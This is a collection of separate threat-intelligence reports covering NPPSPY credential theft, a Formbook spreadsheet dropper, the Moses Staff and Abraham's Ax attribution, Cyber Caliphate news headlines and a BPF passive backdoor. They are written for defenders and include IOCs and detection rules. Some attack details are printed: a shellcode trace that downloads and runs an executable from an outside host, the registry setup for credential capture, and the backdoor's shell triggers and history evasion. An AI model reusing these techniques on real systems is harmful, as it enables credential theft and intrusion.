you bet we’ll go get it DONE. We got the DLL, dissected it, hypothesized it was NPPSPY and then deployed it in our local lab to verify this theory. After having tested locally, we then looked at the compromised system. Very satisfyingly, we could account for the exact techniques the threat actor had leveraged. The network provider in this instance was named logincontroll (typo intentional). It occupied HKLM\SYSTEM\CurrentControlSet\Control\NetworkProvider\Order and created value logincontrol. And then pointed logincontroll with the path C:\Windows\System32\lsass.dll at registry HKLM\SYSTEM\CurrentControlSet\Services\logincontroll\NetworkProvider. Below are screenshots from the compromised system: In our lab and then on the compromised host, we identified that C:\Windows\Temp\tmpCQOF.tmp was the hardcoded file that the threat actor had designated to listen and record the credentials as Username -> Password. Now I can’t show you what was in that file on the compromised system—only what was recreated in our testing environment. But trust me, seeing a tonne of cleartext usernames and passwords was WILD. ## Outstanding Oddities You know, something always interesting with investigations is that even when you reach one conclusion, there is always one thread out of place, waiting for you to pull, unravel and get further lost in the sauce. We identified this tradecraft on a compromised Exchange server. Remember C:\Windows\Temp\tmpCQOF.tmp, the file that kept a record of the cleartext creds? Evidence suggested that email addresses and their corresponding clear text passwords made it into the dump. This was me upon that realization. Now, keeping in mind that I am a mere mindless marmoset, I get easily confused. How did backdooring the local login process end up rounding up the email addresses and passwords for users authenticating to gather their emails, from this Exchange machine? To try and wrap my head around what the evidence was showing, we sought counsel with Huntress’ Researcher Tech Lead and Leader of the Council of the Wise, Dave Kleinatland. Dave agreed it was odd, but suggested Exchange-related authentications CAN be swept up in NPPSPY’s net for catching cleartext credentials in transit. If you're capturing creds on an Exchange box, you're doing well. This suggests that for NPPSPY, there are under-documented benefits to targeting specific servers in an Active Directory. We saw the evidence firsthand that hitting an Exchange box also gathered the clear text creds for users just trying to access their emails. ## Investigating and Defending A worry we had when putting this blog together is that by shining the spotlight on an interesting, lesser deployed offensive security technique, Huntress would be partially responsible for a spike in near future usage. As such, we wanted to spend some time on how defenders can investigate and detect this. For my red team colleagues, some places advise how to deploy NPPSPY. The default DLL that Grzegorz kindly provides will get flagged by Defender, but Grzegorz’s kindness knows no bounds, and he provides the C code to compile it yourself. ### Checking Live Systems Grzegorz provides this script to look at the Network Providers and their associated DLL file paths. From a registry point of view, it’s a ‘service’, but it is not really a service and thus cannot be detected as such. In the screenshot below, you can see NPPSPY comparison to the other legitimate ones ‘logincontroll’ is relatively light on signatures, version numbers, or descriptions. But it is considered trivial for threat actors to add many of these, so don’t rely on the absence of these for detection. ### Forensics Like a lot of things in infosec, Harlan seems to have already had all bases covered, no matter how novel the technique. By leveraging the services plugin for RegRipper v3.0, we will see the very suspicious service name we have already identified with our threat actor’s implementation of NPPSPY. ### Monitoring and Detecting The file name that records the cleartext credentials is hardcoded from the source, and therefore we do not have detection opportunities here. Although the NPPSPY docs advise dropping the DLL in C:\windows\System32, you don’t have to. The example below demonstrates how an adversary can drop the required DLL in any directory, like C:\windows\temp. Therefore, we do not have detection opportunities here for any required directories. This NPPSPY technique is noisy. And detecting this is possible with various security monitoring tools that monitor the processes and commands being run on a machine. You could use Sysmon as a free option. At Huntress, we have our Process Insights listener that makes parent-child process lineage easy to follow. There are several detection opportunities for NPPSPY, as adversaries have to: - Be a privileged user - Create and manipulate a number of registry entries - Bring a DLL on disk - And then write clear text creds to a file somewhere Elastic has a rule query for this kind of network provider manipulation. They assign it a severity medium, but personally, I’d assign this kind of activity to be a super nuclear critical. ### IOCs and Behavior - OS Credential Dumping - ATT&CK T1003 - Values under HKLM\SYSTEM\CurrentControlSet\Control\NetworkProvider\Order (For our case: logincontroll) - Unexplained entries in HKLM\SYSTEM\CurrentControlSet\Services\<here>\NetworkProvider (For our case: logincontroll) - Unexplained DLLS in folders (very difficult to detect) (For our case: C:\windows\system32\lsass.dll) - Files being continually written to (essentially impossible to detect this) (For our case: C:\Windows\Temp\tmpCQOF.tmp) ## Remediating To remediate and eradicate this wickedness, we tested furiously with our virtual machine snapshots. - Deleting only C:\windows\system32\<attacker.dll> stops the credential file from being written to. - Deleting only the key HKLM:\SYSTEM\CurrentControlSet\Services\<Attacker provider name>\NetworkProvider stops the credential file from being written to. Therefore, deleting both the attacker-controlled DLL and the registry entry will stop the cleartext credential gathering activity for sure. Below is an extract of the report the partner received from us, which allowed one-click automatic remediations to undo the ensnarement NPPSPY had placed the machine under. ## So, the Bad Actors Won? Some may point the blame at security researchers in these instances. It’s easy to assume that because they create techniques and share proofs of concept, that they are the root of evil in the cybercriminal ecosystem. This couldn’t be further from the truth. The problem is not offensive security research. The problem is cybercriminals. While this technique was cooked up by a security researcher, the threat actor could have leveraged a whole plethora of other malicious techniques to achieve their goals—this was just one of them, albeit a spicy one. Offensive security research helps us defenders stay sharp and motivate us to constantly improve our tradecraft. Those attackers got in somehow, and there are always lessons to learn about hardening defenses and imposing cost on adversaries. Techniques like NPPSPY have probably been deployed in the wild before. From what we can tell, Huntress seems to be the first at sharing and documenting its IRL usage by threat actors. Offensive tools do not remain elusive and mysterious for long once the defensive community gives them some attention. We hope this article is a small contribution that helps the community fight back and conjure better defenses! ## Addendum: cleartext vs. plaintext I consulted NIST docs to conclude what NPPSPY is. A rough overview is that cleartext means un-encrypted text, whereas plaintext is the text involved in a more complicated cryptographic exchange. Of course, if a password is about to be input into a cryptographic authentication like one does for a Windows login, wouldn’t that make it plaintext? Potentially. But NPPSPY seemingly takes place before cryptography really gets involved, and therefore it seems more appropriate to weigh in on the side of cleartext. If anyone has any strong feelings otherwise, please @ me on Twitter.
# XLoader/Formbook Distributed by Encrypted VelvetSweatshop Spreadsheets February 11, 2022 By Tony Lambert Just like with RTF documents, adversaries can use XLSX spreadsheets to exploit the Microsoft Office Equation Editor. To add a little bit of complication on top, adversaries also sometimes like to encrypt/password protect documents, but that doesn’t have to slow down our analysis too much. For this analysis I’m working with this sample in MalwareBazaar: ## Triaging the File MalwareBazaar gave us a head start in asserting the document is a XLSX file. We can confirm this with Detect-It-Easy and `file`. ```bash remnux@remnux:~/cases/xloader-doc$ diec TW0091.xlsx filetype: Binary arch: NOEXEC mode: Unknown endianess: LE type: Unknown archive: Microsoft Compound(MS Office 97-2003 or MSI etc.) remnux@remnux:~/cases/xloader-doc$ file TW0091.xlsx TW0091.xlsx: CDFV2 Encrypted ``` The file output indicates the XLSX file is encrypted, so step one is taking a crack at getting the decrypted document. ## Decrypting the Spreadsheet We can give a good first shot at finding the document password using `msoffcrypto-crack.py`. ```bash remnux@remnux:~/cases/xloader-doc$ msoffcrypto-crack.py TW0091.xlsx Password found: VelvetSweatshop ``` And just like that, we got a little lucky! The password for this document is `VelvetSweatshop`, which has some significance in MS Office documents. For more info you can hit up Google, but the basic gist is that Office documents encrypted with the password `VelvetSweatshop` will automatically decrypt themselves when opened in Office. This is an easy way to encrypt documents for distribution without having to worry about passing a password to the receiving party. To decrypt the document, we can pass that password into `msoffcrypto-tool`. ```bash remnux@remnux:~/cases/xloader-doc$ msoffcrypto-tool -p VelvetSweatshop TW0091.xlsx decrypted.xlsx remnux@remnux:~/cases/xloader-doc$ file decrypted.xlsx decrypted.xlsx: Microsoft Excel 2007+ ``` Alright, now we have a decrypted document to work with! ## Analyzing the Decrypted Spreadsheet A good first step with any MS Office file is to check for macro-based things with `olevba`. ```bash remnux@remnux:~/cases/xloader-doc$ olevba decrypted.xlsx olevba 0.60 on Python 3.8.10 - http://decalage.info/python/oletools ========================================================================== FILE: decrypted.xlsx Type: OpenXML No VBA or XLM macros found. ``` The output from `olevba` indicates there aren’t Visual Basic for Applications (VBA) macros or Excel 4.0 macros present. This leads me into thinking there may be OLE objects involved. We can take a look using `oledump.py`. ```bash remnux@remnux:~/cases/xloader-doc$ oledump.py decrypted.xlsx A: xl/embeddings/oleObject1.bin A1: 20 '\x01Ole' A2: 1643 '\x01oLe10nAtIVe' ``` So it looks like we’ve got an OLE object in the spreadsheet that doesn’t contain macro code. I’m leaning towards thinking it’s shellcode at this point. Since that A2 stream looks like it is larger, let’s extract it and see if `xorsearch.py -W` can help us find an entry point. ```bash remnux@remnux:~/cases/xloader-doc$ oledump.py -d -s A2 decrypted.xlsx > a2.dat remnux@remnux:~/cases/xloader-doc$ file a2.dat a2.dat: packed data remnux@remnux:~/cases/xloader-doc$ xorsearch -W a2.dat Found XOR 00 position 0000020E: GetEIP method 3 E9AE000000 Found ROT 25 position 0000020E: GetEIP method 3 E9AE000000 Found ROT 24 position 0000020E: GetEIP method 3 E9AE000000 Found ROT 23 position 0000020E: GetEIP method 3 E9AE000000 ``` It looks like `xorsearch` found a GetEIP method at 0x20E in the A2 stream we exported. We can use this offset with `scdbg` to emulate shellcode execution and see if that is what downloads a subsequent stage. When looking at the report output from `scdbg`, we can see several familiar functions. ```bash 401454 GetProcAddress(ExpandEnvironmentStringsW) 401487 ExpandEnvironmentStringsW(%PUBLIC%\vbc.exe, dst=12fb9c, sz=104) 40149c LoadLibraryW(UrlMon) 4014b7 GetProcAddress(URLDownloadToFileW) 401505 URLDownloadToFileW(hxxp://2.58.149[.]229/namec.exe, C:\users\Public\vbc.exe) 40154d LoadLibraryW(shell32) 401565 GetProcAddress(ShellExecuteExW) 40156d unhooked call to shell32.ShellExecuteExW ``` In the shellcode, the adversary uses `ExpandEnvironmentStringsW` to find the Public folder in Windows. Next, they use `URLDownloadToFileW` to retrieve content from `hxxp://2.58.149[.]229/namec.exe` and write it to `C:\Users\Public\vbc.exe`. Finally, they use `ShellExecuteExW` to launch `vbc.exe`. ## Triaging vbc.exe We’re not going to entirely reverse engineer `vbc.exe` tonight, but we can get some identifying information about it. To start off, let’s take a look at some details using `file` and `pedump`. ```bash remnux@remnux:~/cases/xloader-doc$ file vbc.exe vbc.exe: PE32 executable (GUI) Intel 80386, for MS Windows, Nullsoft Installer self-extracting archive ``` The `file` utility says that the EXE is a Nullsoft Installer archive. We can confirm this using a couple data points from `pedump`. First, we’ll want to look at the executable’s PE sections. The presence of a section named `.ndata` tends to indicate the EXE is a Nullsoft Installer. Also, the compiler information section of `pedump` output will show the executable was made with Nullsoft. ```bash remnux@remnux:~/cases/xloader-doc$ pedump -S --packer vbc.exe === SECTIONS === NAME RVA VSZ RAW_SZ RAW_PTR nREL REL_PTR nLINE LINE_PTR FLAGS .text 1000 5976 5a00 400 0 0 0 0 60000020 R-X CODE .rdata 7000 1190 1200 5e00 0 0 0 0 40000040 R-- IDATA .data 9000 1af98 400 7000 0 0 0 0 c0000040 RW- IDATA .ndata 24000 8000 0 0 0 0 0 0 c0000080 RW- UDATA .rsrc 2c000 900 a00 7400 0 0 0 0 40000040 R-- IDATA === Packer / Compiler === Nullsoft install system v2.x ``` To squeeze the last bit of information from the `vbc.exe` binary, we can unpack it using `7z`. To get the most information, including the NSIS configuration script, you’ll need a version that is several years old such as 15.05 like in this post. I went back and downloaded version 9.38.1 of `p7zip-full`, the Linux implementation of 7-zip. ```bash remnux@remnux:~/cases/xloader-doc/zip$ p7zip_9.38.1/bin/7z x vbc.exe 7-Zip 9.38 beta Copyright (c) 1999-2014 Igor Pavlov 2015-01-03 p7zip Version 9.38.1 (locale=en_US.UTF-8,Utf16=on,HugeFiles=on,2 CPUs,ASM) Processing archive: vbc.exe Extracting 8yhm36shrfdb7m Extracting mhwrt Extracting lzxupx.exe Extracting [NSIS].nsi Everything is Ok Files: 4 Size: 355002 Compressed: 302002 ``` We can take a look in the `[NSIS].nsi` script and see what content would be executed: ```nsi Function .onGUIInit InitPluginsDir ; Call Initialize_____Plugins ; SetDetailsPrint lastused SetOutPath $INSTDIR File 8yhm36shrfdb7m File mhwrt File lzxupx.exe ExecWait "$INSTDIR\lzxupx.exe $INSTDIR\mhwrt" Abort FlushINI $INSTDIR\churches\forget.bin Pop $R5 Push 31373 CopyFiles $INSTDIR\unknowns\hemlock.bmp $INSTDIR\arboretum\bitsy\chances.tif ; $(LSTR_7)$INSTDIR\arboretum\bitsy\chances.tif ; "Copy to " Nop Exec $INSTDIR\mightier\audit\kahuna.pdf CreateDirectory $INSTDIR\sail\hold GetFullPathName $7 $INSTDIR\cloak.csv Nop DetailPrint rstykivsbfr Exch $1 ; Push $1 ; Exch ; Pop $1 SetErrorLevel 3 CreateDirectory $INSTDIR\manic\sons\folklore CreateDirectory $INSTDIR\reaches CreateDirectory $INSTDIR\scanning\audit Nop ReadEnvStr $R2 TEMP DetailPrint sylsppbkgbyo Exch $8 ; Push $8 ; Exch ; Pop $8 Exch $R7 ; Push $R7 ; Exch ; Pop $R7 EnumRegKey $R5 HKLM oqyalkuqydrx 2236 FileWriteByte $5 765 FunctionEnd ``` When the NSIS installer starts running, it will execute the commands in `.onGUIInit`. These three files get written: `8yhm36shrfdb7m`, `mhwrt`, and `lzxupx.exe`. The installer then runs the command `"$INSTDIR\lzxupx.exe $INSTDIR\mhwrt"`, waiting for the result. After it finishes, an `Abort` command processes. The abort causes the installer code to immediately skip to the function `.onGUIEnd`. Since this function isn’t defined in this particular script, the installer ends immediately. ## How Do We Know It’s XLoader/Formbook?? This is where analysis dried up for me via code and I started leaning on sandbox output. Specifically, I looked at the report from Hatching Triage. When parsing the output, I noticed the sandbox made some identification based on the Suricata Emerging Threats rule ET MALWARE FormBook CnC Checkin (GET). Let’s see if we can validate that using the rule criteria and PCAP data from the sandbox. You can grab the Emerging Threats rules here: https://rules.emergingthreats.net/OPEN_download_instructions.html. I downloaded the PCAP from Tria.ge. Once we unpack the rules, we can search them using `grep -F` to quickly find the alert criteria. ```bash remnux@remnux:~/cases/xloader-doc/network/rules$ grep -F 'ET MALWARE FormBook CnC Checkin (GET)' * emerging-malware.rules:alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"ET MALWARE FormBook CnC Checkin (GET)"; flow:established,to_server; content:"Connection|3a 20|close|0d 0a 0d 0a 00 00 00 00 00 00|"; fast_pattern; http.method; content:"GET"; http.uri; content:"/?"; pcre:"/^[A-Za-z0-9_-]{1,15}=(?:[A-Za-z0-9-_]{1,25}|(?:[A-Za-z0-9+/]{4})*(?:[A-Za-z0-9+/]{2}==|[A-Za-z0-9+/]{3}=|[A-Za-z0-9+/]{4}))&[A-Za-z0-9-]{1,15}=(?:[A-Za-z0-9-_]{1,25}|(?:[A-Za-z0-9+/]{4})*(?:[A-Za-z0-9+/]{2}==|[A-Za-z0-9+/]{3}=|[A-Za-z0-9+/]{4}))(?:&sql=\d*)?$/R"; http.connection; content:"close"; depth:5; endswith; http.header_names; content:"|0d 0a|Host|0d 0a|Connection|0d 0a 0d 0a|"; depth:22; endswith; reference:md5,a6a114f6bc3e86e142256c5a53675d1a; classtype:command-and-control; sid:2031412; rev:9; metadata:affected_product Windows_XP_Vista_7_8_10_Server_32_64_Bit, attack_target Client_Endpoint, created_at 2017_12_19, deployment Perimeter, former_category MALWARE, malware_family Formbook, performance_impact Moderate, signature_severity Major, updated_at 2020_09_16;) ``` The first big pattern in the rules, `content:"Connection|3a 20|close|0d 0a 0d 0a 00 00 00 00 00 00|"`, is matched in a packet going to `www.appleburyschool[.]com`. Finally, the rest of the URI for the request matches a massive regular expression for Formbook/Xloader. It’s also possible to validate findings using the memory dumps in Triage! One of the fields in Triage indicated a YARA rule tripped on the memory dump `636-73-0x0000000000400000-0x0000000000429000-memory.dmp`, which can be downloaded. This is a memory dump from process ID 636 in that sandbox report, which corresponds to an evil `lzxupx.exe` process. Using `yara-rules`, we can see some evidence of Formbook: ```bash remnux@remnux:~/cases/xloader-doc$ yara-rules -s 636-73-0x0000000000400000-0x0000000000429000-memory.dmp CRC32b_poly_Constant 636-73-0x0000000000400000-0x0000000000429000-memory.dmp 0x8bb7:$c0: B7 1D C1 04 ... Formbook 636-73-0x0000000000400000-0x0000000000429000-memory.dmp 0x16ad9:$sqlite3step: 68 34 1C 7B E1 0x16bec:$sqlite3step: 68 34 1C 7B E1 0x16b08:$sqlite3text: 68 38 2A 90 C5 0x16c2d:$sqlite3text: 68 38 2A 90 C5 0x16b1b:$sqlite3blob: 68 53 D8 7F 8C 0x16c43:$sqlite3blob: 68 53 D8 7F 8C ... ``` It looks like the contents of memory trip a YARA rules from JPCERT designed to detect Formbook in memory. That’s all for now, folks, thanks for reading!
# Abraham's Ax Likely Linked to Moses Staff **Counter Threat Unit Research Team** **Thursday, January 26, 2023** Secureworks® Counter Threat Unit™ (CTU) researchers investigated similarities between the Moses Staff hacktivist group persona that emerged in September 2021 and the Abraham's Ax persona that emerged in November 2022. The analysis revealed several commonalities across the iconography, videography, and leak sites used by the groups, suggesting they are likely operated by the same entity. CTU™ analysis indicates that Abraham's Ax is another hacktivist group persona operated by the Iranian COBALT SAPLING threat group. Abraham's Ax announced their existence and mission through social media channels such as Twitter posts on November 8, 2022. The group's iconography is reminiscent of Moses Staff. The Moses Staff logo shows an arm extended from a sleeve holding a staff with a clenched fist. Abraham's Ax shows a clenched fist holding an axe from a different perspective. Both illustrations use a similar style. Abraham's Ax and Moses Staff use a WordPress blog as the basis for their leak sites. Although the overall aesthetics are different, there are clear connections in their operations. Both sites offer multiple languages. Moses Staff is available in Hebrew and English, while Abraham's Ax is available in Hebrew, Farsi, and English. Both sites provide versions available via Tor websites, although the Abraham's Ax site appeared to be under construction at the time of analysis. Both use domains registered with EgenSajt.se. | Domain | Creation Date | |----------------------|---------------| | moses-staff.se | 2021-09-09 | | abrahams-ax.nu | 2022-10-14 | | abrahams-ax.se | 2022-11-08 | Although the threat actors registered .nu and .se domains that use the abrahams-ax name, the group appears to use the .nu version in promotional material. The abrahams-ax.nu domain was registered approximately three weeks before the group emerged publicly. CTU analysis of the hosting infrastructure for the Moses Staff and Abraham's Ax leak sites revealed that at early points in their lifecycles, both sites were hosted in the same subnet, nearly adjacent to each other. This is highly unlikely to occur by coincidence and strongly indicates that the same entity chose to host the two sites in near contiguous IP address space. Moses Staff claims to be anti-Israeli and pro-Palestinian and encourages leak site visitors to take part in "exposing the crimes of the Zionists in occupied Palestine." Moses Staff posted 16 "activities" to their site as of December 2. The leaked information is predominantly data sets stolen from Israeli companies but also includes compilations of personal information on individuals affiliated with Israel's signals intelligence Unit 8200. Some of the intrusions have been confirmed, although it is likely that Moses Staff embellished the nature and extent of the compromises. The threat actors have reportedly used the custom PyDCrypt loader and DCSrv cryptographic wiper. DCSrv encrypts data using the open-source DiskCryptor library and installs a custom bootloader message. Although the wiper is styled as ransomware, the threat actors do not make a serious attempt to extort a ransom payment. The attacks appear to be politically motivated and focused on disruption and intimidation. The StrifeWater remote access trojan (RAT) (also known as brokerhost.exe) has also been linked to the group based on technical overlaps between intrusions, such as the use of the same customized ASPX web shells. An auxiliary tool named DriveGuard has been deployed alongside StrifeWater to monitor its execution. Malware artifacts indicate that COBALT SAPLING has been operating since at least November 2020, even though the Moses Staff persona did not emerge until September 2021. Like Moses Staff, Abraham's Ax uses a biblical figure as the basis of their persona and includes religious quotes throughout their site. However, Abraham's Ax states they are operating on behalf of the Hezbollah Ummah. Hezbollah is a Lebanese Shia Islamist political party and militant group that is backed by Iran. Ummah refers to a Muslim community. As of this publication, there is no evidence to suggest that Abraham's Ax is linked to Hezbollah. Rather than attacking Israel directly, Abraham's Ax attacks government ministries in Saudi Arabia. They published sample data allegedly stolen from attacks on the Ministry of the Interior, along with a video that purportedly presents intercepted phone conversations between Saudi Arabian government ministers. The group may be attacking Saudi Arabia in response to Saudi Arabia's leadership role in improving relationships between Israel and Arab nations. In June 2022, media reports described secret talks regarding potential air defense collaborations, which Iran perceived as a significant threat to its interests in the region. Progress on normalization of relations between Saudi Arabia and Israel is fragile, and Iran may see these attacks as a way to discourage those efforts. Moses Staff and Abraham's Ax have both produced and released videos as part of their operations. The videos often depict Hollywood-style hacking involving satellites, CCTV, 3D building models, and fast scrolling through documents allegedly stolen as part of their operations. Some videos depict multiple mobile phones combined with audio playback to suggest that mobile phone calls of senior government officials were intercepted. The video files released by the two groups show clear repetition and evolution of visual themes. The Abraham's Ax videos use several of the same stock video elements used by Moses Staff but include additional visual embellishments. One odd addition to the background of Abraham's Ax videos is scrolling text taken from a 2015 news report on former British Prime Minister David Cameron visiting a factory in the UK. This selection appears incongruent with the visual theme and message of the overall campaign. The Abraham's Ax persona does not appear to be a direct replacement for Moses Staff. The Moses Staff leak site and Telegram channels remained active following Abraham Ax's emergence. In late November, Moses Staff claimed to have compromised a CCTV system that monitored the site of a terrorist attack in Israel, releasing previously unseen footage of the explosion. Malware and technical indicators from Abraham's Ax operations have not been identified. Assuming that both personas are operated by COBALT SAPLING, it is plausible that the threat actors use the same tools and techniques in their intrusions. To mitigate exposure to this malware, CTU researchers recommend that organizations use available controls to review and restrict access using the indicators listed below. Note that IP addresses can be reallocated. The domains and IP addresses may contain malicious content, so consider the risks before opening them in a browser. | Indicator | Type | Context | |---------------------------------------------|--------|----------------------------------------------| | moses-staff.se | Domain | COBALT SAPLING leak site (Moses Staff) | | abrahams-ax.nu | Domain | COBALT SAPLING leak site (Abraham's Ax) | | abrahams-ax.se | Domain | COBALT SAPLING leak site (Abraham's Ax) | | 95.169.196.52 | IP | Hosted COBALT SAPLING leak site (moses-staff.se) | | 95.169.196.55 | IP | Hosted COBALT SAPLING leak site (abrahams-ax.nu) | | Indicator | Type | Context | |---------------------------------------------|--------|----------------------------------------------| | ff15558085d30f38bc6fd915ab3386b5 | SHA256 | StrifeWater RAT (agent4.exe) | | 9ee5bb655cbccbeb75d021fdd1fde3ac | hash | | | 5cacfad2bb7979d7e823a92fb936c592 | SHA1 | StrifeWater RAT (agent4.exe) | | 9081e691 | hash | | | a70d6bbf2acb62e257c98cb0450f4fec | MD5 | StrifeWater RAT (agent4.exe) | | cafa8038ea7e46860c805da5c8c1aa38 | SHA256 | StrifeWater RAT (calc.exe) | | da070fa7d540f4b41d5e7391aa9a8079 | hash | | | 76a35d4087a766e2a5a06da7e25ef76a | SHA1 | StrifeWater RAT (calc.exe) | | 8314ec84 | hash | | | 63c4c31965ed08a3207d44e885ebd5e4 | MD5 | StrifeWater RAT (calc.exe) | | 1d84159252ed3fc814074312b85f6299 | SHA256 | StrifeWater RAT (broker.exe) | | 3e0476b27c21eec6cc1cc5c5818467e7 | hash | | | 7a5d75db6106d530d5fdd04332c68cd7 | SHA1 | StrifeWater RAT (broker.exe) | | ccec287f | hash | | | aba68c4b4482e475e2d4b9bf54761b95 | MD5 | StrifeWater RAT (broker.exe) | Read more about Iranian threats in the 2022 State of the Threat report. If you need urgent assistance with an incident, contact the Secureworks Incident Response team.
# Cyber Caliphate **Total:** 94 results found. ## Pro-IS Hacking Groups Threaten "Infidels" Both "in Technology and Military" in First Official Statement **Created:** 09 Oct 2016 ## Pro-IS Hackers Announce Death of Cyber Caliphate Member **Created:** 04 Oct 2016 ## CCA Releases “Kill List” of Over 22,000 U.S.-Based Real Estate Company Employees **Created:** 10 Sep 2016 **Tags:** Dark Web, Cyber Security, United States, Cyber Caliphate ## Caliphate Cyber Army Seeks New Recruits Following Detainment of “Main Member” **Created:** 29 Aug 2016 **Tags:** Cyber Terrorism, Dark Web, Cyber Security, Kuwait, Cyber Caliphate ## United Cyber Caliphate Distributes Second U.S. Army List, States “Kill Them All” **Created:** 11 Aug 2016 **Tags:** Cyber Terrorism, Dark Web, Cyber Security, United States, Cyber Caliphate ## United Cyber Caliphate Redistributes Purported U.S. Air Force Personnel Information **Created:** 03 Aug 2016 **Tags:** Cyber Terrorism, Dark Web, Cyber Security, United States, Cyber Caliphate ## UCC Distributes List, Satellite Images of Air Bases Used by U.S. Air Force **Created:** 30 Jul 2016 **Tags:** Cyber Terrorism, Dark Web, Cyber Security, United States, Cyber Caliphate ## Pro-IS Media Group Releases Infographic Extolling United Cyber Caliphate “Hacks” **Created:** 28 Jul 2016 **Tags:** Cyber Terrorism, Dark Web, Cyber Security, United States, Cyber Caliphate ## United Cyber Caliphate Claims Release of Suez Canal Authority Employee Data **Created:** 27 Jul 2016 **Tags:** Cyber Terrorism, Dark Web, Cyber Security, Egypt, Cyber Caliphate ## CCA Distributes Lists of Purported U.S. Military Personnel, New York Residents **Created:** 20 Jul 2016 **Tags:** Cyber Terrorism, Dark Web, Cyber Security, United States, Cyber Caliphate ## Caliphate Cyber Army Distributes List of U.S. Army Corps of Engineers Personnel **Created:** 19 Jul 2016 **Tags:** Cyber Terrorism, Dark Web, Cyber Security, United States, Cyber Caliphate ## Caliphate Cyber Army Distributes List of Michigan Police Officials **Created:** 19 Jul 2016 **Tags:** Cyber Terrorism, Dark Web, Cyber Security, United States, Cyber Caliphate ## CCA Distributes Lists, Satellite Images of U.S. Airports and Military Bases, Russian Military Districts and Bases **Created:** 16 Jul 2016 ## UCC Releases More U.S. State Department Info on Staff Members **Created:** 13 Jul 2016 ## CCA Posts Public Information About Police Officer Salaries, Arrestees in Response to Dallas Shootings **Created:** 08 Jul 2016 ## United Cyber Caliphate Posts New Kill List **Created:** 03 Jul 2016 ## United Cyber Caliphate Claim to Release Saudi Government Employee Data **Created:** 03 Jul 2016 ## United Cyber Caliphate Shares 280 Links to Canada “Kill List” to Ensure Dissemination **Created:** 29 Jun 2016 ## United Cyber Caliphate Posts “Kill List” Targeting Thousands of Canadian Citizens **Created:** 28 Jun 2016 ## CCA Provides Instructions for Lone-Wolf Attacks, Suggests Targets and Methods **Created:** 22 Jun 2016
# Tricephalic Hellkeeper: A Tale of a Passive Backdoor Tristan Pourcelot (tristan.pourcelot [at] exatrack.com) We recently found a new passive backdoor targeting Linux and Solaris servers, which can use TCP, UDP, or ICMP packets as triggers. In this article, we will dive into BPF in order to assess this malware's capabilities. ## I. Introduction to Passive Backdoors Passive backdoors are implants designed to be stealthier than common backdoors, especially by avoiding listening on ports or pinging back to a Command and Control server. These backdoors are not novel, one of the first samples being cd00r from phenoelit, a passive backdoor waiting for a TCP port knocking sequence, dating back to 2000. Passive backdoors are also used by some of the most advanced attackers, such as Duqu2 with their portserv.sys driver, the famous Equation Group with their Bvp47 or DewDrop implant, or the Turla threat group with their Uroburos rootkit that we previously analyzed. This kind of backdoor has several advantages: - They cannot be detected by tools such as netstat because they don’t open network ports. - They can be activated by piggybacking on already opened ports (for example, a packet sent to a legitimate HTTP listening port will trigger the backdoor). - They are inactive unless activated by the attacker. While not as complex as Bvp47, this backdoor provided the attackers with simple yet powerful capabilities, such as remote access to the infected systems. ## II. Capabilities This backdoor family uses a BPF filter in order to await a trigger packet, and depending on the received command will either send a ping back, launch a bind shell, or connect a remote shell to the attacker-provided IP address. The implant expects to be launched as the privileged root user and uses a lock in order to avoid being launched several times. The attacker took special attention to make the lock’s filename appear legitimate and used several of these filenames across the samples. Some of them can be found in the IOCs Annex of this article. ## III. Persistence The binary does not implement any kind of persistence. We assume that the attacker will provide persistence by modifying configuration files on the targeted system during installation. ## IV. Protection Techniques The malware uses several techniques in order to avoid detection, these techniques varying between samples. Some of them relaunched from memory, in order to avoid traces on the file system, while others modified their access and modification timestamps. ## V. In Memory Launch Some of the samples copied themselves in the /dev/shm folder with a custom filename, before relaunching the copied sample. This technique avoids leaving traces on the target file system and ensures the binary is completely removed on reboot. ## VI. Process Renaming The malware will rename itself using the prctl function with the argument PR_SET_NAME, and a random legitimate-looking name. These names are hardcoded in the binary and vary between the samples. A partial list of used process names can be found in the annex of this article. ## VII. Timestomping In some of the samples, a function dubbed set_time was called to alter the access and modification timestamp of the binary using the utimes function. The timestamp used was always set to 0x490a083c (2008-10-30T20:17:16). ## VIII. Command and Control The command and control mechanism of this backdoor is relatively simple; it waits for a trigger packet, then depending on the command, will establish a bind shell, a reverse shell, or send a reply to the attacker. ## IX. BPF Filter Analysis Berkeley Packet Filter, or BPF, is a technology dating back to the early 90s which was initially designed to filter network packets. This filtering subsystem is documented in the Linux kernel and is used under the hood by tools such as tcpdump. This technology was also used by implants such as dewdrop from the Equation toolset. BPF packet filters are implemented using a custom bytecode consisting of about two dozen opcodes, all following the same pattern: {opcode, jt, jf, k}. Once compiled, such a filter can be instantiated using either libpcap (pcap_setfilter), or the standard library function setsockopt using the SO_ATTACH_FILTER option. In the case of this backdoor, the latter was chosen, and the BPF bytecode is included in binary form in the sample. ## X. Passwords / Commands If a packet is matched by the filter, it is returned to the malware process in order to be parsed. The expected format is as follows: ``` +---+---+---+---+---+---+---+---+ | 0 | 1 | 2 | 3 | 4 | 5 | 6 | 7 | +---+---+---+---+---+---+---+---+ | MAGIC | PADDING | PING IP ADDRESS | +-------+-------+---------------+ | PORT | PASSWORD (OR COMMAND) | +-------+-----------------------+ | PASSWORD (continued) | +-------------------------------+ ``` The processing function will extract the command string from the packet and compare it to a set of hardcoded names, such as: - justtryit, justrobot, justforfun, which will establish a bind shell on ports 42391 to 42491; - socket or sockettcp for establishing a reverse shell to an IP address provided in the packet. By default, the implant will send the character 1 (encoded as 0x31) to the IP address provided in the packet. Both the bind shell and the reverse shell processes are renamed (often as /usr/libexec/postfix/master). The attacker is also provided with a clean environment, with the following environment variables being set: - PROMPT - HISTFILE=/dev/null (this avoids leaving traces in Bash history files) - MYSQL_HISTFILE=/dev/null - PS1=[\u@\h \W]\\$ - HOME=/tmp or HOME=/ It should be noted that some of the latest variants of the malware are no longer using keywords such as socket for triggering its capabilities, but are using MD5 hashes. It may imply that the attacker has improved their implant in order to be more resilient or secure. ## XI. Encryption If the malware launches the bind shell or the reverse shell, it will encrypt its traffic using the RC4 algorithm. The key used is simply the received command as seen in the previous part. ## XII. Aside Note: A Backdoor’s Bug There is a slight bug in the malware developer code, which will trigger only if the backdoor is launched when the server is receiving a lot of traffic. This bug was documented and is due to the fact that the socket can receive traffic before the BPF filter is applied. ## XIII. Conclusion The idea behind this backdoor was neither new nor complicated. However, it provided the attacker with critical capabilities against the targeted networks. It also allowed them to remain stealthy for a long time. The attacker was regularly updating its toolset with new keywords, improving a little bit its implant with each release by changing their command names, their process names, or their filenames in order to avoid trivial detection. ## XIV. Other Publications While finishing this article and a set of slides presented at an event 